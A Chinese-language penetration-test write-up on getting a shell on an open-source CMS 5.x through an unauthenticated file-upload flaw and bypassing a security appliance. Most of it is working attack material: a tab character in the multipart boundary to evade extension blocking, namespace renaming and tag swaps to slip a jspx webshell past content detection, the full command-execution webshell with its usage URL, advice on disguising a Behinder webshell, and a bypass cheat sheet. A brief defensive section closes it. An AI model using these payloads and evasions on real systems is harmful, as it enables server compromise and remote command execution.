记一次绕过安全设备Getshell的实战经历
字数 1755 2025-08-11 08:36:18
绕过安全设备检测的文件上传漏洞利用实战教学
1. 漏洞背景与概述
本文记录了一次针对开源CMS系统的文件上传漏洞利用实战,涉及绕过安全设备检测的完整过程。该CMS系统在5.x早期版本中存在以下关键漏洞条件:
- 项目通过war包在Tomcat等容器中部署
- 允许上传jspx文件(5.2.7之前版本默认黑名单配置仅禁止了.jsp和.exe文件)
2. 漏洞发现与确认
2.1 目标识别
- 通过URL路径和后台管理页面确认使用某开源CMS系统
- 确认系统版本为5.x
- 探测发现前台文件上传接口可未授权访问
2.2 环境验证
- 通过报错信息确认系统通过Tomcat部署
- 测试上传图片文件可成功上传并访问
3. 绕过安全设备检测
3.1 后缀名黑名单绕过
初始尝试:
- 直接上传jspx后缀文件被拦截
- 尝试方法:
- 后缀大小写变换(如JSPx、jSpX等)
- filename参数结构破坏
成功绕过方法:
- 在HTTP头部Content-Type的boundary值中添加tab字符
- 示例修改:
boundary=----WebKitFormBoundary[tab]xxxx
- 示例修改:
3.2 文件内容检测绕过
第一阶段绕过:
- 直接上传jspx格式的webshell被拦截
- 测试发现安全设备检测
<jsp:root>标签 - 绕过方法:将默认命名空间"jsp"替换为其他名称
- 示例:
<abc:root xmlns:abc="http://java.sun.com/JSP/Page" version="2.0">
- 示例:
第二阶段绕过:
- 上传仍被拦截,发现检测
<jsp:scriptlet>标签 - 绕过方法:使用功能等效的
<abc:expression>标签替换- 原代码:
<jsp:scriptlet>Runtime.getRuntime().exec(request.getParameter("i"));</jsp:scriptlet> - 替换为:
<abc:expression>Runtime.getRuntime().exec(request.getParameter("i"))</abc:expression>
- 原代码:
其他尝试过但未成功的方法:
- Unicode编码
- Chunk编码小块传输
- 垃圾数据填充
- 修改文件类型(如image/jpeg)
4. Webshell上传与利用
4.1 基础命令执行
成功上传的jspx webshell示例结构:
<abc:root xmlns:abc="http://java.sun.com/JSP/Page" version="2.0">
<abc:expression>
Runtime.getRuntime().exec(request.getParameter("i"))
</abc:expression>
</abc:root>
使用方式:http://target/shell.jspx?i=whoami
4.2 高级利用(服务器不出网情况)
- 上传无回显的cmd马确认服务器不出网
- 上传冰蝎(Behinder)webshell:
- 综合利用上述所有绕过方法
- 修改冰蝎jspx文件中的标签命名空间
- 确保不包含被检测的关键字和结构
5. 防御与检测建议
5.1 针对CMS系统的修复
- 升级到最新版本(5.2.7及以后版本已修复)
- 严格限制上传文件类型,采用白名单机制
- 对上传文件内容进行严格校验
5.2 安全设备防护增强
- 检测畸形上传报文(如boundary中的特殊字符)
- 加强对变种webshell内容的检测:
- 不依赖特定标签名检测
- 检测危险函数调用(如Runtime.exec)
- 分析文件实际功能而非表面特征
6. 渗透测试方法论总结
- 持续探测:从简单测试开始,逐步深入
- 分析拦截点:通过响应判断安全设备检测逻辑
- 缩小范围:逐步定位被检测的关键字/标签/函数
- 功能等价替换:寻找实现相同功能的替代语法
- 组合绕过:综合利用多种绕过技术
7. 附录:关键绕过技术速查表
| 检测点 | 绕过方法 | 示例 |
|---|---|---|
| 文件后缀 | boundary添加特殊字符 | boundary=----[tab]xxxx |
<jsp:root> |
替换命名空间 | <abc:root xmlns:abc=...> |
<jsp:scriptlet> |
使用expression标签 | <abc:expression>...</abc:expression> |
| 危险函数 | 编码/拆分/替代实现 | 分块传输、注释混淆 |